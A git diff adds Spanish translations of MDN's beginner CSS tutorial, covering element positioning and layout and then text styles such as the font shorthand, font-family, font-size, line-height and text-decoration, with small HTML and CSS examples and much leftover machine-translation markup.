+<p>Junto con estos valores de la propiedad de posición (a excepción de estática), especifique una o más de las propiedades: superior, derecha, inferior, izquierda, anchura, altura para identificar dónde desea que aparezca el elemento y tal vez también su tamaño.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<p>Ejemplo</p>
+
+<p>Para colocar dos elementos uno encima del otro, cree un contenedor principal en el documento con los dos elementos dentro de él:</p>
+</div>
+
+<pre class="brush:html">&lt;div id="parent-div"&gt;
+  &lt;p id="forward"&gt;/&lt;/p&gt;
+  &lt;p id="back"&gt;\&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>En su hoja de estilos, haga que la posición de los padres sea relativa. No hay necesidad de especificar ningún cambio real. Haga que la posición de los niños sea absoluta:</p>
+
+<pre class="brush:css">#parent-div {
+  position: relative;
+  font: bold 200% sans-serif;
+}
+
+#forward, #back {
+  position: absolute;
+  margin:0px; /* no hay margenes alrededor del elemento */
+  top: 0px; /* distancia desde la parte superior */
+  left: 0px; /* distancia desde la izquierda */
+}
+
+#forward {
+  color: blue;
+}
+
+#back {
+  color: red;
+}
+</pre>
+
+<p>El resultado se ve así, con la barra invertida en la parte superior de la barra inclinada:</p>
+
+<div style="position: relative; left: .33em; font: bold 300% sans-serif;">
+<p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: blue;">/</p>
+
+<p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: red;">\</p>
+</div>
+
+<table style="background-color: white; border: 2px outset #3366bb; height: 5em; padding: 1em; width: 30em;">
+ <tbody>
+  <tr>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">
+<p>Más detalles</p>
+
+<p>La historia completa sobre posicionamiento toma dos capítulos complejos en la Especificación CSS: Modelo de formato visual y detalles del modelo de formato Visual.</p>
+
+<p>Si está diseñando hojas de estilo para trabajar en muchos navegadores, también debe tener en cuenta las diferencias en la forma en que los navegadores interpretan el estándar y quizás errores en versiones concretas de navegadores particulares.</p>
+</div>
+</div>
+
+<h2 id="Action_Specifying_layout">Action: Specifying layout</h2>
+
+<ol>
+ <li>Cambie el documento de ejemplo, doc2. Html y hoja de estilo, style2. Css, utilizando los ejemplos anteriores en las secciones Estructura de documento y flotantes.</li>
+ <li>En el ejemplo Flotantes, agregue relleno para separar el texto del borde derecho por 0. 5 em.</li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<p>Cambios</p>
+
+<p>Cambie el documento de ejemplo, doc2. Html, agregando esta etiqueta a ella cerca del final, justo antes de &amp;lt;/ body&amp;gt;.</p>
+</div>
+
+<pre class="brush:html">&lt;img id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin"&gt;
+</pre>
+
+<p>Si no descargó el archivo de imagen anteriormente en este tutorial, descárguelo ahora y colóquelo en el mismo directorio que los demás archivos de ejemplo:</p>
+
+<table style="border: 2px solid #cccccc;">
+ <tbody>
+  <tr>
+   <td><img alt="Image:Yellow-pin.png" class="internal" src="https://mdn.mozillademos.org/files/924/Yellow-pin.png"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Predecir dónde aparecerá la imagen en el documento. A continuación, actualice su navegador para ver si estaba correcto.</p>
+
+<p>Agregue una regla a su hoja de estilos que coloque la imagen en la parte superior derecha de su documento.</p>
+
+<p>Actualiza tu navegador y haz que la ventana sea pequeña. Compruebe que la imagen permanece en la parte superior derecha incluso cuando se desplaza el documento:</p>
+
+<div style="position: relative; width: 29.5em; height: 18em;">
+<div style="overflow: auto; border: 2px outset #36b; padding: 1em; width: 29em; height: 16em; background-color: white;">
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+<div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding: 0px .5em 0px 1em;">
+<ul style="">
+ <li>Arctic</li>
+ <li>Atlantic</li>
+ <li>Pacific</li>
+ <li>Indian</li>
+ <li>Southern</li>
+</ul>
+</div>
+
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+<div style="float: left; border: 12px solid #69b; padding: 0 .5em 0 .5em;">
+<p><strong>1: </strong>Lorem ipsum</p>
+
+<p><strong>2: </strong>Dolor sit</p>
+
+<p><strong>3: </strong>Amet consectetuer</p>
+
+<p><strong>4: </strong>Magna aliquam</p>
+
+<p><strong>5: </strong>Autem veleum</p>
+</div>
+
+<p style=""> </p>
+
+<div style="position: absolute; top: 2px; right: 0px;"><img alt="Yellow map pin" class="internal" src="https://mdn.mozillademos.org/files/924/Yellow-pin.png"></div>
+</div>
+</div>
+</div>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Challenge_solutions#Layout" title="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started/Challenge_solutions#Layout"> See a solution to this challenge.</a></p>
+
+<h2 id="What_next">What next?</h2>
+
+<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Tables", "Tables") }}Usted acaba de cubrir todos los temas en este tutorial básico de CSS. La siguiente página describe selectores más avanzados para reglas CSS y algunas maneras específicas en las que puede diseñar tablas.</p>
diff --git a/files/es/web/css/introducción/los_colon_estilos_de_texto/index.html b/files/es/web/css/introducción/los_colon_estilos_de_texto/index.html
new file mode 100644
index 0000000000..676ea9caf9
--- /dev/null
+++ b/files/es/web/css/introducción/los_colon_estilos_de_texto/index.html
@@ -0,0 +1,155 @@
+---
+title: Los estilos de texto
+slug: 'Web/CSS/Introducción/Los:estilos_de_texto'
+translation_of: Learn/CSS/Styling_text/Fundamentals
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Esta es la sección séptima del</span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> tutorial</span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title="es-es / docs / Web / guía / CSS / Primeros pasos"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">CSS Introducción</span></font></font></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> ; </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">da más ejemplos de estilos de texto.</span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Usted modificara su hoja de estilo de ejemplo para utilizar diferentes fuentes.</span></font></font></p>
+
+<h2 class="clearLeft" id="Los_estilos_de_texto_Información"><span id="result_box" lang="es"><span class="hps">Los estilos de texto</span><span>: Información</span></span></h2>
+
+<p><span id="result_box" lang="es"><span class="hps">CSS</span> <span class="hps">tiene varias propiedades</span> <span class="hps">de</span> </span><span id="result_box" lang="es"><span class="hps">estilo</span><span> de </span></span><span id="result_box" lang="es"><span class="hps">texto</span> <span>.</span></span></p>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Hay una propiedad abreviada conveniente, </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none;" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">la fuente</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> , que se puede utilizar para especificar varios aspectos a la vez, por ejemplo:</span></font></font></p>
+
+<ul style="margin: 0px 0px 24px; padding: 0px 0px 0px 40px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);">
+ <li style="margin: 0px; padding: 0px 0px 6px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Negrita, cursiva, y small-caps (versalita)</span></font></font></li>
+ <li style="margin: 0px; padding: 0px 0px 6px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">El tamaño</span></font></font></li>
+ <li style="margin: 0px; padding: 0px 0px 6px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">La altura de la línea</span></font></font></li>
+ <li style="margin: 0px; padding: 0px 0px 6px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">El tipo de letra</span></font></font></li>
+</ul>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<div class="tuto_type" style="margin: 0px; padding: 0px; border: 0px; font-weight: 700; text-align: left; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 21px; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Ejemplo</span></font></font></div>
+
+<pre class="brush:css  language-css" style="margin: 0px 0px 20px; padding: 1em 0px 1em 30px; border-width: 0px 0px 0px 6px; border-left-style: solid; font-family: Consolas, Monaco, 'Andale Mono', monospace; font-size: 14px; line-height: 19px; color: rgb(77, 78, 83); overflow: auto; direction: ltr; text-align: left; white-space: pre; position: relative; text-shadow: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; background: 50% 0% rgb(250, 251, 252);"><code class="language-css" style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; text-align: left; white-space: pre; color: rgb(77, 78, 83); text-shadow: none;"><span class="token selector" style="margin: 0px; padding: 0px; border: 0px; color: rgb(102, 153, 0);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">p </span></font></font></span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 153, 153);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">{ </span></font></font></span><span class="token property" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 0, 85);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">fuente </span></font></font></span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 153, 153);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">:</span></font></font></span><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> cursiva 75% / 125% </span></font></font><span class="token string" style="margin: 0px; padding: 0px; border: 0px; color: rgb(166, 127, 89); background: rgba(255, 255, 255, 0.498039);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">"Comic Sans MS"</span></font></font></span><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> , cursive </span></font></font><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 153, 153);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">; </span></font></font></span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 153, 153);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">}</span></font></font></span></code></pre>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Esta regla</span> <span class="hps">establece</span> varias <span class="hps">propiedades de la fuente</span><span class="alt-edited">, poniendo</span> <span class="hps">todos los párrafos</span> <span class="hps">en</span></span> italic.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">El tamaño de fuente</span> <span class="hps">se establece en</span> <span class="hps">tres cuartas partes del</span> <span class="hps">tamaño</span> </span><span id="result_box" lang="es"><span class="hps">en </span><span class="hps">cada</span></span><span id="result_box" lang="es"> </span><span id="result_box" lang="es"><span class="hps">párrafo</span><span> </span></span><span id="result_box" lang="es"><span class="hps alt-edited">del elemento padre</span><span>,</span>  <span class="hps">y</span> <span class="hps alt-edited">el</span> <span class="hps alt-edited">interlíneado</span> <span class="hps">se establece en</span> <span class="hps">125</span><span class="atn">% (</span><span>un poco más</span> <span class="hps">separados</span> <span class="hps">de lo normal)</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">tipo de letra</span> <span class="hps">se establece en</span> <span class="hps">Comic</span> <span class="hps">Sans</span> <span class="hps">MS</span><span>,</span> <span class="hps">pero si</span> <span class="hps">este tipo de letra</span> <span class="hps">no está disponible,</span> <span class="hps">el navegador</span> <span class="hps">utilizará</span> <span class="hps alt-edited">por</span> <span class="hps">defecto</span> <span class="hps">tipografía</span> <span class="hps">cursiva</span> <span class="hps">(</span></span>hand-written<span lang="es"><span>)</span><span>.</span></span></p>
+
+<p><span lang="es"><span class="hps">La</span> <span class="hps">regla tiene</span> <span class="hps alt-edited">el efecto colateral</span> <span class="hps alt-edited">de desactivar</span> <span class="hps alt-edited">las</span> <span class="hps alt-edited">versalitas</span> <span class="hps">y</span> <span class="hps alt-edited">negritas</span> <span class="hps atn">(</span><span>estableciendo su valor </span><span class="hps alt-edited">en normal)</span><span>:</span></span></p>
+</div>
+
+<h3 id="Tipos_de_fuentes"><span id="result_box" lang="es"><span class="hps alt-edited">Tipos de fuentes</span></span></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">No se puede predecir</span> <span class="hps">qué</span> tipografías </span><span id="result_box" lang="es"><span class="hps alt-edited">tienen</span><span> </span></span><span id="result_box" lang="es"><span class="hps alt-edited">los lectores de</span> nuestro <span class="hps">documento</span> <span>.</span> <span class="hps">Así que</span> <span class="hps alt-edited">cuando se especifica</span> <span class="hps alt-edited">llos tipos de fuentes </span><span class="hps alt-edited">de las </span><span class="hps alt-edited">letra</span><span>s</span><span>, es</span> <span class="hps">buena</span> <span class="hps alt-edited">idea darle</span> <span class="hps alt-edited">una lista alternativa</span> <span class="hps">en orden de preferencia</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps alt-edited">Finalice la</span> <span class="hps">lista</span> <span class="hps">con uno de los</span> <span class="hps alt-edited">las tipografías</span> por defecto<span class="hps alt-edited">:</span> </span><code>serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code> or <code>monospace</code>.</p>
+
+<p><span lang="es"><span class="hps">Si el</span> <span class="hps">tipo de letra</span> <span class="hps alt-edited">no es compatible con</span> <span class="hps alt-edited">alguna de los caracteres</span> <span class="hps alt-edited">del documento</span><span>, el navegador</span> <span class="hps alt-edited">puede sustituirlos por</span> <span class="hps alt-edited">una tipografía</span> <span class="hps">diferente.</span> <span class="hps">Por ejemplo, el</span> <span class="hps">documento puede contener</span> <span class="hps">caracteres especiales que</span> </span><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 255);">el tipo de letra no admite.</span><span lang="es"> <span class="hps">Si</span> <span class="hps">el navegador puede</span> <span class="hps">encontrar otro</span> <span class="hps alt-edited">tipografía que</span> <span class="hps">tiene esos</span> <span class="hps">caracteres</span><span>,</span> <span class="hps alt-edited">entonces usará</span> <span class="hps">otro</span> <span class="hps alt-edited">tipo de fuente</span></span></p>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para especificar un tipo de letra por sí misma, utilizar el </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-family" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">font-family</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> propiedad.</span></font></font></p>
+
+<h3 id="Los_tamaños_de_la_fuente"><span id="result_box" lang="es"><span title="Font sizes
+
+">Los tamaños de la fuente</span></span></h3>
+
+<p><span id="result_box" lang="es"><span title="Browser users can override the default font sizes or change the text size while they read a page, so it makes good sense for you to use relative sizes wherever you can.
+">Los usuarios de navegadores pueden anular los tamaños de fuente por defecto o cambiar el tamaño del texto mientras leen una página, así que tiene buen sentido utilizar tamaños relativos donde se pueda.</span></span></p>
+
+<p><span id="result_box" lang="es"><span title="You can use some built-in values for font sizes, like small, medium and large.">Puede utilizar algunos valores incorporados para tamaños de fuentes,  </span></span><code>like</code> <code>small</code>, <code>medium</code> and <code>large</code> (<span id="result_box" lang="es"><span title="You can use some built-in values for font sizes, like small, medium and large.">pequeñas, medianas y grandes)</span></span> . <span id="result_box" lang="es"><span title="You can also use values relative to the font size of the parent element, like: smaller, larger, 150% or 1.5em.">También puede utilizar valores relativos al tamaño de fuente del elemento padre, </span></span>l<code>ike</code><code>: smaller, larger, 150% or 1.5em</code>. ( <span id="result_box" lang="es"><span title="You can also use values relative to the font size of the parent element, like: smaller, larger, 150% or 1.5em.">más pequeño, más grande, 150% o 1.5em.)</span></span>. <span id="result_box" lang="es"><span title='An "em" is equivalent to the width of the letter "m" (for the font size of the parent element);'>Un "em" es equivalente a la anchura de la letra "m" (para el tamaño de fuente del elemento padre); </span><span title="thus 1.5em is one-and-a-half times the size of the font of the parent element.
+">así 1.5em es una vez y media el tamaño de la fuente del elemento padre.</span></span></p>
+
+<p><span id="result_box" lang="es"><span title="If necessary you can specify an actual size, like: 14px (14 pixels) for a display device or 14pt (14 points) for a printer.">Si es necesario, puede especificar como tamaño actual, : 14px (14 píxeles) para un dispositivo de visualización o 14pt (14 puntos) para una impresora.</span></span><span lang="es"><span title="If necessary you can specify an actual size, like: 14px (14 pixels) for a display device or 14pt (14 points) for a printer."> Esto no es accesible para los usuarios con discapacidad visual, ya que no les permite cambiar el tamaño. Una estrategia más accesible es establecer un valor incorporado como mediano en un elemento en la parte superior del documento, y luego fijar tamaños relativos a todos los elementos descendientes.</span></span></p>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para especificar un tamaño de fuente por su cuenta, utilice el </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-size" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">font-size</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> propiedad.</span></font></font></p>
+
+<h3 id="Altura_de_línea">Altura de línea</h3>
+
+<p><span id="result_box" lang="es"><span class="hps alt-edited">El</span> <span class="hps alt-edited">interlíneado</span> <span class="hps">especifica el</span> <span class="hps">espacio entre líneas</span><span>.</span> <span class="hps">Si el documento tiene</span> <span class="hps">párrafos largos</span> <span class="hps">con</span> <span class="hps">muchas líneas</span><span>,</span> <span class="hps">una separación</span> <span class="hps">más grande de lo</span> <span class="hps">normal,</span> <span class="hps">hace que sea</span> <span class="hps">más fácil de leer</span><span>, especialmente si el</span> <span class="hps">tamaño de la letra</span> <span class="hps">es pequeña</span><span>.</span></span></p>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para especificar una altura de línea por su cuenta, utilice <code>la </code></span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">propiedad </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/line-height" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">line-height</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> .</span></font></font></p>
+
+<h3 id="Decoración">Decoración</h3>
+
+<p><span id="result_box" lang="es"><span class="hps alt-edited">La</span> <span class="hps">propiedad independiente </span></span><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/text-decoration" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">text-decoration</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> </span></font></font><span lang="es"><span class="hps">puede</span> <span class="hps">especificar otros</span> <span class="hps">estilos,</span> <span class="hps">como el</span> <span class="hps">subrayado o</span> <span class="hps">tachado</span><span>.</span> <span class="hps">Usted</span> <span class="hps alt-edited">puede establecerlo en</span> <span class="hps">ninguno</span> ( </span><code>none</code> ) <span lang="es"> <span class="hps alt-edited">para eliminar</span> <span class="hps alt-edited">expresamente</span> <span class="hps">cualquier</span> <span class="hps">decoración.</span></span></p>
+
+<h3 id="Otras_propiedades">Otras propiedades</h3>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para especificar cursiva por su cuenta, use </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-style" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">font-style</span></font></font></code></a><code style="margin: 0px; padding: 0px; border: 0px; font-style: normal; font-weight: normal; font-family: Consolas, Monaco, 'Andale Mono', monospace; color: rgb(77, 78, 83); font-size: 14px; font-variant: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> : italic;</span></font></font></code><br>
+ <font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para especificar audaz por su cuenta, use </span></font></font><code style="margin: 0px; padding: 0px; border: 0px; font-style: normal; font-weight: normal; font-family: Consolas, Monaco, 'Andale Mono', monospace; color: rgb(77, 78, 83); font-size: 14px; font-variant: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none;" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">font-weight</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> : bold;</span></font></font></code><br>
+ <font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para especificar los pequeños capitales en su propio, el uso </span></font></font><code style="margin: 0px; padding: 0px; border: 0px; font-style: normal; font-weight: normal; font-family: Consolas, Monaco, 'Andale Mono', monospace; color: rgb(77, 78, 83); font-size: 14px; font-variant: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-variant" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none;" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">font-variant</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> : small-caps;</span></font></font></code></p>
+
+<p>Para desactivar o activar cualquiera de estos valores de forma individual, puede especificar su valor como <code>normal</code> <code>o inherit</code>.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">Mas detalles</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Puede especificar</span> <span class="hps">estilos de texto</span> <span class="hps alt-edited">de diversas</span> <span class="hps alt-edited">maneras.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Por ejemplo</span><span>,</span> <span class="hps">algunas de las</span> <span class="hps">propiedades mencionadas</span> <span class="hps">aquí</span> <span class="hps">tienen</span> <span class="hps">otros valores</span> <span class="hps">que se pueden utilizar</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">una hoja de estilo</span> <span class="hps">compleja</span><span>,</span> <span class="hps alt-edited">evite utilizar</span> <span class="hps alt-edited">la propiedad </span></span><code>font</code> <code>shorthand</code><span lang="es"><span class="hps">,</span> <span class="hps">debido a sus</span> <span class="hps">efectos secundarios</span> <span class="hps">(resetean </span><span class="hps">otras propiedades</span> <span class="hps">individuales</span><span>)</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps alt-edited">Para obtener mas detalles de</span> <span class="hps">las propiedades</span> <span class="hps">que se relacionan con</span> <span class="hps">las fuentes, </span></span><span lang="es"><span class="hps">ver</span></span><span lang="es"><span class="hps"> las </span><span class="hps">especificación</span>es <span class="hps">CSS</span></span><span lang="es"> </span><span id="result_box" lang="es"><span class="hps">, </span></span><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html">Fonts</a><span lang="es"><span class="hps">,</span><span>.</span> <span class="hps alt-edited">Si desea más detalles sobre</span> <span class="hps">la decoración de</span> <span class="hps">texto,</span> <span class="hps">ver</span> </span><a class="external" href="http://www.w3.org/TR/CSS21/text.html">Text </a><span lang="es"><span class="hps">.</span></span></p>
+
